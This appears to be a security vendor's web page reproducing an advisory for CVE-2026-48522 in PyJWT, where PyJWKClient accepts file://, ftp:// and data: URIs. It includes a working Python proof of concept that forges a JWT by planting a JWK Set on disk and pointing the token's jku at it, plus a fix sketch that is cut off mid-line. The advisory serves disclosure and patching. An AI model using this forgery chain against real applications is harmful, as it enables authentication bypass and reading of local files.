Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-48522 — pyjwt

🟡 CVSS 4.2 — Medium ⚠️ Exploit Public CWE-441 OSV
4.2
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes

> [!NOTE]

> The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.

Summary

PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.

If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:

1. Cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem) — the file's contents are passed to json.load.

2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).

3. Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and jwt.decode() accepts.

Affected versions

Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.

Reproducer (full attack chain — verified empirically)

```python

import jwt as pyjwt

from jwt import PyJWKClient

from cryptography.hazmat.primitives.asymmetric import rsa

from cryptography.hazmat.primitives import serialization

import json, base64, time

# Attacker generates keypair (no relation to real IdP)

key = rsa.generate_private_key(public_exponent=65537, key_size=2048)

pub_n = key.public_key().public_numbers().n

def b64u(n):

bl = (n.bit_length() + 7) // 8

return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()

# Attacker writes JWK Set containing their public key to /tmp

jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",

"n":b64u(pub_n),"e":"AQAB"}]}

with open("/tmp/attacker.json","w") as f:

json.dump(jwks, f)

# Attacker mints token signed with their private key, jku=file://

priv_pem = key.private_bytes(serialization.Encoding.PEM,

serialization.PrivateFormat.PKCS8, serialization.NoEncryption())

now = int(time.time())

token = pyjwt.encode(

{"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},

priv_pem, algorithm="RS256",

headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})

# Vulnerable application pattern: caller derives jku from token header

# and passes to PyJWKClient without scheme validation

header = pyjwt.get_unverified_header(token)

client = PyJWKClient(header["jku"]) # <-- accepts file:// silently

key_obj = client.get_signing_key_from_jwt(token)

decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],

audience="target-app")

print("Token verified:", decoded)

# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}

```

Cross-library evidence — PyJWT is the outlier

The same composition pattern is structurally safe in 4 other mainstream JWT libraries:

| Library | Behavior on jku=file://... | Mechanism |

|---|---|---|

| PyJWT 2.12.1 (Python) | Reads file from disk, parses, uses for signature verification | urllib default OpenerDirector includes FileHandler |

| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG fetch() rejects non-http(s) at fetch-spec layer |

| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | http.DefaultTransport only registers http/https |

| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | HttpDocumentRetriever defaults RequireHttps=true |

| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |

PyJWT is the only library of these 5 where the default behavior allows file:// to reach the fetch layer.

Recommended fix

Add allowed_schemes: tuple[str, ...] = ("https", "http") kwarg to PyJWKClient.__init__. Pre-validate URL scheme before invoking urllib.request.urlopen. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted.

Diff sketch against jwt/jwks_client.py

```python

def __init__(

self, uri: str,

cache_keys: bool = False, max_cached_keys: int = 16,

cache_jwk_set: bool = True, lifespan: float = 300,

headers: dict[str, Any] | None = None, timeout: float = 30,

ssl_context: SSLContext | None = None,

allowed_schemes: tuple[str, ...] = ("https", "http"), # NEW

):

"""...

:param allowed_schemes: URL schemes t

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity low, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: High — the attacker first has to win a race, learn a secret or otherwise prepare the target.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: Low — limited, and the attacker does not choose what is affected.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: None.

Weakness class

CVE-2026-48522 is classified as CWE-441: Unintended Proxy or Intermediary ('Confused Deputy'). The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's…

Affected software

CVE-2026-48522 is recorded against 1 package.

  • pyjwt (fixed in 2.13.0)

Timeline and source

Published on 28 May 2026 and last revised on 31 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from OSV.

References

github.com (Evidence)

Other advisories for this package

pyjwt has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')) in other software:

CVE-2026-48522 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity MEDIUM
CVSS Score 4.2
CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
CWE CWE-441
Public Exploit ⚠️ Yes
Source OSV
Published 2026-05-28
Updated 2026-08-20
Modified 2026-07-31
Fix URL N/A

Affected Packages

Software From version Fixed in
pyjwt 2.13.0

Exploit Protection

Are you running pyjwt?

CVE-2026-48522 carries CVSS 4.2 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-48522 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026